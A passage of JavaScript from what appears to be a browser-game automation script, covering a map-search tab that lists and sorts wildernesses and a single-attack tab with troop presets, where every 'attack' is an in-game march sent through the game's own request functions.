							event.target.style.backgroundColor = 'red';
						else {
							event.target.style.backgroundColor = '';
							displayWildResults();
						}
					}
				}

				function levelSelect(MinMax, curVal) {
					var newUID = setUID('tabSearch_Lv' + MinMax);
					var m = '<select id="' + newUID + '">';
					for (var k = 1; k <= 10; k++)
						m += '<option value="' + k + '" ' + (curVal == k ? 'selected' : '') + '>' + k + '</option>';
					m += '</select>';
					return m;
				}

				function eventWildFlag() {
					var t = Tabs.Search;
					var cG = document.getElementById(UID['tabSearch_WildG']);
					var cL = document.getElementById(UID['tabSearch_WildL']);
					var cP = document.getElementById(UID['tabSearch_WildP']);
					var cH = document.getElementById(UID['tabSearch_WildH']);
					var cM = document.getElementById(UID['tabSearch_WildM']);
					var cF = document.getElementById(UID['tabSearch_WildF']);
					var cU = document.getElementById(UID['tabSearch_Unowned']);
					Data.options.search.grassland = cG.checked;
					Data.options.search.lake = cL.checked;
					Data.options.search.plain = cP.checked;
					Data.options.search.hill = cH.checked;
					Data.options.search.mountain = cM.checked;
					Data.options.search.forest = cF.checked;
					Data.options.search.unowned = cU.checked;
					displayWildResults();
				}

				function displayWildResults() {
					var t = Tabs.Search;
					var m = '<table class=' + UID['row_style'] + ' id=' + setUID('tabSearch_WildTab') + ' width=100%>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td id=' + setUID('tabSearch_tsw_0') + ' width="20px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_1') + ' width="40px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_5') + ' width="60px"><A><span>' + translate('Type') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_6') + ' width="20px"><A><span>' + translate('Level') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_3') + ' width="200px" style="overflow-x:auto"><A><span>' + translate('Owner') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_4') + ' width="40px" align=right><A><span>' + translate('Might') + '</span></A></td>' + '		<td id=' + setUID('tabSearch_tsw_2') + '><A><span>' + translate('Alliance') + '</span></A></td>' + '		<td style="background:none"></td>' + '	</tr>';
					var wilds = t.getWildernessesList(),
						ul = [];
					sortWildList();
					for (var i = 0; i < wilds.length; i++) {
						var mightF = null;
						if (wilds[i].m != null && wilds[i].m != '?')
							mightF = numf(wilds[i].m, ' ');
						else mightF = '?';
						if (wilds[i].l < 7 && !wilds[i].n) {
							wilds[i].n = '-';
							wilds[i].a = '-';
							mightF = '-';
						}
						m += '<tr><td>' + wilds[i].d + '</td>' + '	<td align=center>' + wilds[i].x + ',' + wilds[i].y + '</td>' + '	<td align=left>' + translate(Map.names.type[wilds[i].t]) + '</td>' + '	<td align=right>' + wilds[i].l + '</td>' + '	<td align=left>' + getAllianceRelationship(wilds[i].ai, wilds[i].n) + '</td>' + '	<td align=right>' + mightF + '</td>' + '	<td align=left>' + getAllianceRelationship(wilds[i].ai, wilds[i].a) + '</td>' + '	<td>' + '		<input id=' + setUID('tabSearch_Att_' + i) + ' ref=' + i + ' class=Xtrasmall style="width:auto !important;" type=submit value="' + translate('Attack') + '" />';
						if (wilds[i].id && wilds[i].id != '' && wilds[i].n && wilds[i].n != '' && wilds[i].n != '-') {
							var user_ids = wilds[i].id + '_' + wilds[i].n;
							var UIDMsg = setUID('tabSearchWild_Msg_' + i);
							m += '	&nbsp &nbsp<input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>';
							ul.push(UIDMsg);
						}
						m += '	</td>' + '</tr>';
					}
					document.getElementById(UID['tabSearch_WildList']).innerHTML = m + '</table>';
					for (var h = 0; h < 7; h++)
						document.getElementById(UID['tabSearch_tsw_' + h]).addEventListener('click', onChangeSort, false);
					for (var u = 0; u < ul.length; u++)
						document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

					var own_alliance = Seed.player.alliance ? Seed.player.alliance.id : -1;
					for (var i = 0; i < wilds.length; i++) {
						var butAttack = document.getElementById(UID['tabSearch_Att_' + i]);
						butAttack.addEventListener('click', butAttackNow, false);
						if ((!wilds[i].ai || wilds[i].ai == 0 || wilds[i].ai == null) || (wilds[i].ai != own_alliance)) {
							butAttack.disabled = false;
							Element.removeClassName(butAttack, UID['btn_disabled']);
							Element.addClassName(butAttack, UID['btn_green']);
						} else {
							butAttack.disabled = true;
							Element.removeClassName(butAttack, UID['btn_green']);
							Element.addClassName(butAttack, UID['btn_disabled']);
						}
					}

					function butAttackNow(event) {
						var n = toNum(event.target.getAttribute('ref'));
						var dial = new ModalDialog(t.container, 300, 150, '', false);
						dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
						dial.getContentDiv().innerHTML = translate('Attacking');
						checkAttack(wilds[n], notify);

						function notify(rslt) {
							if (rslt != 'OK') {
								dial.getContentDiv().innerHTML = '<b>' + rslt + '</b>';
								dial.allowClose(true);
							} else {
								dial.getContentDiv().innerHTML = '<B>' + translate('OK') + '</b>';
								setTimeout(function() {
									dial.destroy()
								}, 1000);
							}
						}
					}

					function checkAttack(targetObj, notify) {
						var t = Tabs.Search;
						var cityId = Seed.cities[CAPITAL.id].id;
						var cityIdx = CAPITAL.id;
						var availableGeneral = null;

						/* check troops */
						var units = [];
						units['Spy'] = 1;
						attackUnits = checkTroops(CAPITAL.id, units);
						if (attackUnits != null) {
							notify(getErrorText(attackUnits, 'fb'));
							return;
						}
						availableGeneral = getAvailableGeneral();
						if (availableGeneral == null) {
							notify(getErrorText(3, 'fb'));
							return;
						}
						var targMsg = '<B>' + translate('Manual attack sent to') + '</B>: ' + targetObj.n + ' ' + translate('at') + ' ' + targetObj.x + '/' + targetObj.y;
						verboseLog(targMsg + ' ' + translate('attempted'));

						new MyAjax.marchSend(cityId, targetObj.x, targetObj.y, availableGeneral.id, units, 'attacks', function(rslt) {
							if (rslt.ok && rslt.dat.result.success) {
								verboseLog(targMsg + ' ' + translate('Successfully'));
								actionLog(targMsg);
								if (notify) notify('OK');
							} else {
								verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
								if (notify) notify(translate('Error') + ': ' + rslt.errmsg);
							}
						});
					}

					function onChangeSort(event) {
						var t = Tabs.Search;
						var arg = event.target.parentNode.parentNode.id;
						if (arg == UID['tabSearch_tsw_0']) {
							if (Data.options.search.sort_list == '0')
								Data.options.search.sort_list = '-0';
							else Data.options.search.sort_list = '0';
						} else if (arg == UID['tabSearch_tsw_1']) {
							if (Data.options.search.sort_list == '1')
								Data.options.search.sort_list = '-1';
							else Data.options.search.sort_list = '1';
						} else if (arg == UID['tabSearch_tsw_2']) {
							if (Data.options.search.sort_list == '2')
								Data.options.search.sort_list = '-2';
							else Data.options.search.sort_list = '2';
						} else if (arg == UID['tabSearch_tsw_3']) {
							if (Data.options.search.sort_list == '3')
								Data.options.search.sort_list = '-3';
							else Data.options.search.sort_list = '3';
						} else if (arg == UID['tabSearch_tsw_4']) {
							if (Data.options.search.sort_list == '4')
								Data.options.search.sort_list = '-4';
							else Data.options.search.sort_list = '4';
						} else if (arg == UID['tabSearch_tsw_5']) {
							if (Data.options.search.sort_list == '5')
								Data.options.search.sort_list = '-5';
							else Data.options.search.sort_list = '5';
						} else if (arg == UID['tabSearch_tsw_6']) {
							if (Data.options.search.sort_list == '6')
								Data.options.search.sort_list = '-6';
							else Data.options.search.sort_list = '6';
						}
						displayWildResults();
					}

					function sortWildList() {
						var t = Tabs.Search;
						switch (Data.options.search.sort_list) {
							case '-0':
								wilds.sort(function(a, b) {
									return b.d - a.d
								});
								break;
							case '0':
								wilds.sort(function(a, b) {
									return a.d - b.d
								});
								break;
							case '-1':
								wilds.sort(function(a, b) {
									return b.x - a.x
								});
								break;
							case '1':
								wilds.sort(function(a, b) {
									return a.x - b.x
								});
								break;
							case '-2':
								wilds.sort(function(a, b) {
									a = a.a.toLowerCase();
									b = b.a.toLowerCase();
									if (a > b) return -1;
									if (a < b) return 1;
									return 0;
								});
								break;
							case '2':
								wilds.sort(function(a, b) {
									a = a.a.toLowerCase();
									b = b.a.toLowerCase();
									if (a > b) return 1;
									if (a < b) return -1;
									return 0;
								});
								break;
							case '-3':
								wilds.sort(function(a, b) {
									a = a.n.toLowerCase();
									b = b.n.toLowerCase();
									if (a > b) return -1;
									if (a < b) return 1;
									return 0;
								});
								break;
							case '3':
								wilds.sort(function(a, b) {
									a = a.n.toLowerCase();
									b = b.n.toLowerCase();
									if (a > b) return 1;
									if (a < b) return -1;
									return 0;
								});
								break;
							case '-4':
								wilds.sort(function(a, b) {
									return b.m - a.m
								});
								break;
							case '4':
								wilds.sort(function(a, b) {
									return a.m - b.m
								});
								break;
							case '-5':
								wilds.sort(function(a, b) {
									return b.t - a.t
								});
								break;
							case '5':
								wilds.sort(function(a, b) {
									return a.t - b.t
								});
								break;
							case '-6':
								wilds.sort(function(a, b) {
									return b.l - a.l
								});
								break;
							case '6':
								wilds.sort(function(a, b) {
									return a.l - b.l
								});
								break;
							default:
								wilds.sort(function(a, b) {
									return b.d - a.d
								});
								break;
						}
					}
				}
			},

			refreshMapData: function(scan_type) {
				var t = Tabs.Search;
				t.checkMapBusy = false;
				t.checkMapData(scan_type);
				t.show();
			},
			checkMapData: function(type) {
				var t = Tabs.Search;
				if (t.checkMapBusy) return false;
				t.checkMapBusy = true;
				Data.options.search.target.alliance = '*';
				Data.options.search.target.player = '*';
				t.scanMap(type, Data.options.search.target.distance, function() {
					logit('****** Setting checkMapBusy to FALSE');
					Tabs.Search.checkMapBusy = false
				});
				return true;
			},
			scanMap: function(type, radius, notify) {
				var t_s = Tabs.Search;
				if (type == 0 || type == 1) {
					for (var pid in Data.map.players) {
						if (Data.map.players[pid] && Data.map.players[pid][2]) {
							if (!Data.map.evolution[pid]) Data.map.evolution[pid] = {};
							Data.map.evolution[pid].m = Data.map.players[pid][2];
						}
					}
				}
				var x = Data.options.search.target.x;
				var y = Data.options.search.target.y;
				if (radius == null) radius = Data.options.search.target.distance || 16;

				logit('======> search tab scanMap (' + x + ',' + y + ', ' + radius + ')');
				progressBar.init(800 + Math.randRange(1, 50), 100, 300, 150, translate('Message'), 200, true, t_s.container);

				switch (type) {
					case 0:
						/* All map data scan */
							progressBar.start({
								steps: 100,
								delay: 1,
								byCount: true,
								title: translate('Scanning map for cities/wildernesses') + '...',
								stepText: translate('Please wait...')
							});
						Map.scanMap({
							x: x,
							y: y,
							radius: radius,
							city_detail: true,
							wild_detail: true,
							force_request: true
						}, callback);
						break;
					case 1:
						/* Cities scan */
							progressBar.start({
								steps: 100,
								delay: 1,
								byCount: true,
								title: translate('Scanning map for cities') + '...',
								stepText: translate('Please wait...')
							});
						Map.scanMap({
							x: x,
							y: y,
							radius: radius,
							city_detail: true,
							wild_detail: false,
							force_request: true
						}, callback);
						break;
					case 2:
						/* Wilds scan */
							progressBar.start({
								steps: 100,
								delay: 1,
								byCount: true,
								title: translate('Scanning map for wildernesses') + '...',
								stepText: translate('Please wait...')
							});
						Map.scanWilds({
							x: x,
							y: y,
							radius: radius
						}, callback);
						break;
				}

				function callback(res) {
					if (res == null) {
						progressBarPop.getContentDiv().innerHTML = '<B>' + translate('Bummer, there was an error while scanning the map') + '.</B>';
						progressBarPop.allowClose(true);
						if (notify) notify(false);
						return;
					}
					if (res.done) {
						actionLog('<B>scanMap</B>: ' + translate('complete'));
						var now = serverTime();
						Data.options.search.last_update = new Date(now * 1000).myString();
						if (notify) notify(true);
						progressBarPop.destroy();
					}
				}
			}
		};

		/******************************** Single attack Tab **************************/
		Tabs.Single = {
			tabOrder: SINGLE_TAB_ORDER,
			tabLabel: 'Single',
			tabDisabled: !SINGLE_TAB_ENABLE,
			container: null,
			contentType: 0,
			lastSubTab: 'tabSingleAttack',

			init: function(div) {
				var t = Tabs.Single;
				t.container = div;
				/*Data.setDefaultValues ('single');*/
				var m = '<div class=' + UID['title'] + '>' + translate('Single attack') + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabSingleAttack') + '>' + translate('Attack') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSinglePresets') + '>' + translate('Presets') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSingleTargets') + '>' + translate('Targets') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabSingle_Content') + ' style="padding-top:0px; height:655px; max-height:655px; overflow-y:auto; width:540px; max-width:540px; overflow-x:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabSingleAttack']).addEventListener('click', t.tabSingleAttack, false);
				document.getElementById(UID['tabSinglePresets']).addEventListener('click', t.tabSinglePresets, false);
				document.getElementById(UID['tabSingleTargets']).addEventListener('click', t.tabSingleTargets, false);
				window.addEventListener('unload', t.onUnload, false);
				t.contentType = toNum(Data.options.single.current_tab);
				t.show();
			},
			show: function() {
				var t = Tabs.Single;
				switch (toNum(t.contentType)) {
					case 0:
						t.tabSingleAttack();
						break;
					case 1:
						t.tabSinglePresets();
						break;
					case 2:
						t.tabSingleTargets();
						break;
				}
			},
			onUnload: function() {
				var t = Tabs.Single;
				logit('===============  Tabs.Single.onUnload');
				Data.options.single.current_tab = t.contentType;
			},

			/** SINGLE ATTACK SUB-TAB ***/
			tabSingleAttack: function() {
				var t = Tabs.Single;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSingleAttack']).className = 'selected';
				document.getElementById(UID['tabSingleAttack']).style.zIndex = 1;
				t.lastSubTab = 'tabSingleAttack';
				t.contentType = 0;
				var m = '<div class="' + UID['title'] + '">' + translate('Single attack') + ' ( ' + translate('Max') + '. ' + translate('Troops') + ' ' + numf(toNum((getMusterPoint(CAPITAL.id)).max_troops), ' ') + ' )</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabSingle_CoordsX') + ' size=1 maxlength=3 type=text value="' + Data.options.single.target.x + '" /> ' + '		Y: <input id=' + setUID('tabSingle_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.single.target.y + '" /> ' + '		&nbsp <b>' + translate('Distance') + ':</b> <span id=' + setUID('tabSingle_Distance') + '></span>' + '		&nbsp <input id=' + setUID('tabSingle_Save') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Save') + ' " />' + '		&nbsp <input id=' + setUID('tabSingle_Spy') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Spy') + ' " />' + '		&nbsp <input id=' + setUID('tabSingle_Bookmark') + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Bookmark') + ' " />';
				if (Data.options.single.target.id && Data.options.single.target.id != '' && Data.options.single.target.n && Data.options.single.target.n != '') {
					var user_ids = Data.options.single.target.id + '_' + Data.options.single.target.n;
					m += '	&nbsp <input id=' + setUID('tabSingle_Msg') + ' ref=' + user_ids + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Msg') + ' " />';
				}
				m += '	<br><br><label>' + translate('description') + ' :</label>&nbsp' + '		<textarea id=' + setUID('tabSingle_Comment') + ' cols="80" rows="2" wrap="PHYSICAL">' + Data.options.single.target.comment + '</textarea>' + '		<br><center><input type=button value="' + translate('Attack') + '" id=' + setUID('tabSingle_Attack') + ' class=' + UID['btn_red'] + ' /></center><br>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:5px 10px !important;">' + '			<center><span id=' + setUID('tabSingle_Tile') + '></span></center>' + '		</div>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabSingle_Troops') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Troops') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div><br>' + '  <div>' + '	<table id=' + setUID('tabSingle_Dragons') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=10>' + translate('Include Great Dragon') + ':&nbsp;</td>';
				var currentDragons = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j];
					if (j % 5 === 0)
						m += '</tr><tr>';
					m += '	<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>' + '	<td align=center><input type=checkbox id=' + setUID('tabSingle_Dragons_' + j) + ' ref="' + j + '" ' + (Data.options.single.target.dragons[dragon.type] ? ' checked' : '') + ' /></td>';
					currentDragons.push(j);
				}
				m += '</tr>' + '	</table>' + '</div></div><br>' + '<div class=' + UID['status_ticker'] + ' style="height:260px; max-height:260px; overflow-y:auto; margin-top:15px !important">' + '	<table class="' + UID['table_targets'] + '">' + '	<tr class=' + UID['row_headers'] + ' cellpadding=1 >' + '		<td width=15%>' + translate('Preset') + '</td>' + '		<td width=55%>' + translate('Troops') + '</td>' + '	</tr>';
				var row_style, el = [];
				for (var i = 0; i < Data.options.single.presets.length; i++) {
					if (i % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					m += '<tr valign=middle style="border-bottom: 1px solid #898989; background-color:' + row_style + '"><td width=15%>' + Data.options.single.presets[i].name + '</td>' + '	<td align=left width=55%>' + getTroops(Data.options.single.presets[i].units, ' ') + '</td>' + '	<td align=center width=30%><input id=' + setUID('tabSingle_SetTroops_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Choose') + '" />&nbsp' + '		<input id=' + setUID('tabSingle_Edit_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Edit') + '" />&nbsp' + '		<input id=' + setUID('tabSingle_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '</tr>';
					el.push(UID['tabSingle_SetTroops_' + i]);
				} + '</div>';
				document.getElementById(UID['tabSingle_Content']).innerHTML = m;
				document.getElementById(UID['tabSingle_CoordsX']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabSingle_CoordsY']).addEventListener('change', eventCoords, false);
				document.getElementById(UID['tabSingle_Save']).addEventListener('click', saveCoords, false);
				document.getElementById(UID['tabSingle_Bookmark']).addEventListener('click', addBookmark, false);
				document.getElementById(UID['tabSingle_Comment']).addEventListener('change', function() {
					Data.options.single.target.comment = document.getElementById(UID['tabSingle_Comment']).value
				}, false);
				document.getElementById(UID['tabSingle_Attack']).addEventListener('click', butAttackNow, false);
				if (Data.options.single.target.id && Data.options.single.target.id != '' && Data.options.single.target.n && Data.options.single.target.n != '')
					document.getElementById(UID['tabSingle_Msg']).addEventListener('click', onClickMsg, false);
				setTroopTable(document.getElementById(UID['tabSingle_Troops']), 1, 'SA', all_unit_types,
					Data.options.single.target.units, Data.options.single.target.saved_units, eventTroops, true);

				for (var j = 0; j < currentDragons.length; ++j) {
					document.getElementById(UID['tabSingle_Dragons_' + currentDragons[j]]).addEventListener('change', function(event) {
						var args = event.target.getAttribute('ref');
						Data.options.single.target.dragons[Seed.dragonList[args].type] = event.target.checked;
						var include_great_dragon = false;
						for (var x = 0; x < Seed.dragonList.length && !include_great_dragon; x++) {
							var dragon = Seed.dragonList[x];
							if (Data.options.single.target.dragons[dragon.type]) include_great_dragon = true;
						}
						if (include_great_dragon) Data.options.single.target.include_great_dragon = true;
						else Data.options.single.target.include_great_dragon = false;
					}, false);
				}
				for (var i = 0; i < el.length; i++) {
					var butSetTrp = document.getElementById(UID['tabSingle_SetTroops_' + i]);
					var butEdit = document.getElementById(UID['tabSingle_Edit_' + i]);
					var butDelete = document.getElementById(UID['tabSingle_Delete_' + i]);
					butSetTrp.addEventListener('click', onClickSetTroops, false);
					butEdit.addEventListener('click', onClickEdit, false);
					butDelete.addEventListener('click', onClickDelete, false);
				}
				eventCoords();
				var butSpy = document.getElementById(UID['tabSingle_Spy']);
				butSpy.addEventListener('click', butSpyNow, false);
				var tile = Data.options.single.target;
				if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
					setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
				else
					setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');

				function butSpyNow(event) {
					buttonSpyNow(t.container, Data.options.single.target);
				}

				function butAttackNow() {
					var dial = new ModalDialog(t.container, 300, 150, '', false);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Attacking');
					checkAttack(notify);

					function notify(rslt) {
						if (rslt != 'OK') {
							try {
								dial.getContentDiv().innerHTML = '<B>' + rslt + '</b>';
								dial.allowClose(true);
							} catch (e) {}
						} else {
							try {
								dial.getContentDiv().innerHTML = '<b>' + translate('OK') + '</b>';
								setTimeout(function() {
									dial.destroy()
								}, 1000);
							} catch (e) {}
						}
					}
				}

				function checkAttack(notify) {
					var t = Tabs.Single;
					var cityId = Seed.cities[CAPITAL.id].id;
					var cityIdx = CAPITAL.id;
					var availableGeneral, attackUnits;

					/* check units */
					var target = Data.options.single.target;
					var units = cloneProps(target.units);
					attackUnits = checkTroops(CAPITAL.id, units);
					if (attackUnits != null) {
						notify(getErrorText(attackUnits, 'fb'));
						return;
					}
					if ((availableGeneral = getAvailableGeneral()) == null) {
						notify(getErrorText(3, 'fb'));
						return;
					}
					var greatDrag = null;
					if (target.include_great_dragon) {
						if ((greatDrag = getAvailableDragon(true, target.dragons)) == null) {
							notify(getErrorText(5, 'fb'));
							return;
						}
						if (greatDrag && greatDrag != null) units[greatDrag] = 1;
					}
					var targMsg = translate('Single attack sent to') + ': ' + target.type + translate(' at ') + target.x + '/' + target.y;
					verboseLog(targMsg + ' ' + translate('attempted'));

					new MyAjax.marchSend(cityId, target.x, target.y, availableGeneral.id, units, 'attacks', function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							notify('OK');
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							notify(translate('Error') + ': ' + rslt.errmsg);
						}
					});
				}

				function eventCoords(event) {
					checkCoords('tabSingle', Data.options.single.target.units, Data.options.single.target);
				}

				function eventTroops(event) {
					var t = Tabs.Single;
					var args = event.target.name.split('_');
					if (args[0] == 'SA') {
						var tt = all_unit_types[args[1]];
						var tr = Data.options.single.target.units;
						tr[tt] = event.target.value;
						var tr = Data.options.single.target.saved_units;
						tr[tt] = event.target.value;
						var time = getMarchTime(Data.options.single.target.x, Data.options.single.target.y, Data.options.single.target.units);
						document.getElementById(UID['tabSingle_Distance']).innerHTML = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.single.target.x, Data.options.single.target.y) + ' (' + timestrShort(time) + ')';
					}
				}

				function onClickSetTroops(event) {
					var t = Tabs.Single;
					var city = Seed.cities[CAPITAL.id];
					var n = toNum(event.target.getAttribute('ref'));
					var presetUnits = Data.options.single.presets[n].units;
					var units = {};
					Data.options.single.target.units = {};
					for (var i = 0; i < all_unit_types.length; i++) {
						Data.options.single.target.units[all_unit_types[i]] = 0;
						Data.options.single.target.saved_units[all_unit_types[i]] = 0;
					}
					for (var pu in presetUnits) {
						var numTroops = getTroopNumbers(city, pu);
						var unit_max = numTroops.incity;
						if (unit_max < presetUnits[pu] && presetUnits[pu] > 0) units[pu] = unit_max;
						else if (presetUnits[pu] <= 0) units[pu] = 0;
						else units[pu] = presetUnits[pu];
						Data.options.single.target.units[pu] = units[pu];
						Data.options.single.target.saved_units[pu] = units[pu];
					}
					document.getElementById(UID['tabSingle_Troops']).innerHTML = '<tr align=center class=' + UID['row_headers'] + '>' + '	<td colspan=10>' + translate('Troops') + ':&nbsp;</td></tr>';
					setTroopTable(document.getElementById(UID['tabSingle_Troops']), 1, 'SA', all_unit_types,
						Data.options.single.target.units, Data.options.single.target.saved_units, eventTroops, true);
				}

				function onClickEdit(event) {
					var t = Tabs.Single;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.single.preset.name = Data.options.single.presets[n].name;
					Data.options.single.preset.units = cloneProps(Data.options.single.presets[n].units);
					t.tabSinglePresets();
				}

				function onClickDelete(event) {
					var t = Tabs.Single;
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.single.presets.splice(n, 1);
					t.tabSingleAttack();
				}

				function saveCoords() {
					var t = Tabs.Single;
					if (Data.options.single.history && Data.options.single.history.length > 0) {
						var h = cloneProps(Data.options.single.history);
						for (var i = h.length - 1; i >= 0; i--) {
							if ((h[i].x == Data.options.single.target.x) && (h[i].y == Data.options.single.target.y))
								Data.options.single.history.splice(i, 1);
						}
					}
					var rec = {
						x: Data.options.single.target.x,
						y: Data.options.single.target.y,
						type: Data.options.single.target.type,
						level: Data.options.single.target.level,
						id: Data.options.single.target.id,
						n: Data.options.single.target.n,
						units: cloneProps(Data.options.single.target.saved_units),
						dragons: cloneProps(Data.options.single.target.dragons),
						ai: Data.options.single.target.ai,
						inc: Data.options.single.target.include_great_dragon,
						comment: Data.options.single.target.comment
					};
					Data.options.single.history.push(rec);
				}

				function addBookmark(event) {
					var n = toNum(event.target.getAttribute('ref'));
					saveBookmark(t.container,
						Data.options.single.target.x,
						Data.options.single.target.y,
						Data.options.single.target.type,
						Data.options.single.target.level,
						Data.options.single.target.id,
						Data.options.single.target.n,
						Data.options.single.target.saved_units,
						Data.options.single.target.ai,
						Data.options.single.target.include_great_dragon, true,
						Data.options.single.target.dragons,
						Data.options.single.target.comment);
				}
			},

			/** PRESETS SUB-TAB ***/
			tabSinglePresets: function() {
				var t = Tabs.Single;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSinglePresets']).className = 'selected';
				document.getElementById(UID['tabSinglePresets']).style.zIndex = 1;
				t.lastSubTab = 'tabSinglePresets';
				t.contentType = 1;
				var m = '<div class=' + UID['title'] + '>' + translate('Army presets') + '</div>' + '	<div id=' + setUID('tabSingle_Presets') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<label><b>' + translate('Preset name') + ' :</b></label>' + '	&nbsp &nbsp<input id=' + setUID('tabSingle_Name') + ' size=30 maxlength=50 type=text value="' + Data.options.single.preset.name + '" /><br><br>' + '	<table id=' + setUID('tabSingle_Troops') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=3 width=50%>' + translate('Troops') + ':&nbsp;</td>' + '			<td width=15%>' + translate('Total') + '</td>' + '		</tr>';
				var UIDTrp = setUID('tabSingle_Trp');
				var UIDMax = setUID('tabSingle_MaxT');
				var city = Seed.cities[CAPITAL.id];
				for (i = 0; i < all_unit_types.length; i++) {
					var num = toNum(Data.options.single.preset.units[all_unit_types[i]]);
					var numTroops = getTroopNumbers(city, all_unit_types[i]);
					m += '<tr><td class=right width=25%>' + translate(Names.troops.byName[all_unit_types[i]][1]) + ':</td>' + '	<td width=15%><input type=text id=' + UIDTrp + '_' + i + ' maxlength=9 style="width:55px" size=2 value="' + num + '"\></td>' + '	<td width=10%><input class=small id=' + UIDMax + '_' + i + ' ref=' + i + ' type=button  style="width:auto !important;" value=" Max " \></td>' + '	<td align=right width=15%>' + numf(numTroops.total, ' ') + '</td>' + '	<td width=35%>&nbsp</td>' + '</tr>';
				}
				m += '</table><br>' + '<table class=' + UID['table'] + ' style="margin-top:3px" width=60%>' + '	<tr valign=top align=center>' + '		<td width=40%><label><input id=' + setUID('tabSingle_clearAll') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Clear all') + '" /></label></td>' + '		<td width=40%><label><input id=' + setUID('tabSingle_savePreset') + ' type=button value="' + translate('Save preset') + '" /></label></td>' + '	</tr>' + '</table><br>' + '<br></div>';
				document.getElementById(UID['tabSingle_Content']).innerHTML = m;
				document.getElementById(UID['tabSingle_Name']).addEventListener('change', function() {
					Data.options.single.preset.name = document.getElementById(UID['tabSingle_Name']).value
				}, false);
				document.getElementById(UID['tabSingle_clearAll']).addEventListener('click', onClickClearAll, false);
				document.getElementById(UID['tabSingle_savePreset']).addEventListener('click', onClickSavePreset, false);
				for (i = 0; i < all_unit_types.length; i++) {
					document.getElementById(UIDTrp + '_' + i).addEventListener('change', eventTroops, false);
					butMax = document.getElementById(UIDMax + '_' + i);
					butMax.addEventListener('click', setTroupsMax, false);
					setButtonStyle(butMax, true, 'btn_green');
				}

				function eventTroops(event) {
					var args = event.target.id.split('_');
					var x = toNum(event.target.value);
					for (i = 0; i < all_unit_types.length; i++)
						document.getElementById(UID['tabSingle_Trp'] + '_' + i).style.backgroundColor = '';
					if (isNaN(x) || x < -1)
						event.target.style.backgroundColor = 'red';
					else event.target.style.backgroundColor = '';
					event.target.value = x;
					Data.options.single.preset.units[all_unit_types[args[1]]] = x;
				}

				function onClickClearAll() {
					var t = Tabs.Single;
					for (var i = 0; i < all_unit_types.length; i++)
						Data.options.single.preset.units[all_unit_types[i]] = 0;
					t.tabSinglePresets();
				}

				function onClickSavePreset() {
					var t = Tabs.Single;
					if (Data.options.single.presets && Data.options.single.presets.length > 0) {
						var h = cloneProps(Data.options.single.presets);
						for (var i = h.length - 1; i >= 0; i--) {
							if (h[i].name == Data.options.single.preset.name)
								Data.options.single.presets.splice(i, 1);
						}
